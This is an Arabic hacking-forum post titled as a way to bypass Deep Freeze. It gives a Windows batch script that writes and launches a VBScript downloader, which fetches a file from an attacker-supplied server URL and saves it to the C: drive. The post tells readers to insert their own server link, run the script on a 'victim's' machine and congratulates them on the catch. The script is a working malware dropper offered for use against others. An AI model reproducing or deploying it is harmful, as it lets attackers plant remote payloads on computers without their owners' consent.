MasTer MiND
New Member
تفادي الديب فريز Deep Freeze
][بسم الله الرحمن الرحيم][
السلام عليكم و رحمة الله و بركاته
||تفادي الديب فريز||
||تفادي الديب فريز||
أنسخ هذا الكود وضعها في المفكرة
كود:
[CENTER][B][FONT=Rockwell][SIZE=5][COLOR=#c0c0c0]@echo off
set file="[/COLOR][/SIZE][/FONT][FONT=Rockwell][SIZE=5][COLOR=#ffff00]patch url[/COLOR][/SIZE][/FONT][FONT=Rockwell][SIZE=5][COLOR=#c0c0c0]"
set dlto="C:\"
::----------------
if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs
echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs
start %temp%\dl.vbs[/COLOR][/SIZE][/FONT][/B][/CENTER]بعد ماتلصق هذاء الكود في المفكرة بدل كلمة patch url برأبط سيرفرك المباشر واحفظها باسم بأمتداد BAT بعدين نزلها بجهاز الضحية وسو لها تشغيل ومبروك عليك الضحية
التعديل الأخير:
اسم الموضوع : تفادي الديب فريز Deep Freeze
|
المصدر : قســم إختــراق الأجهــزة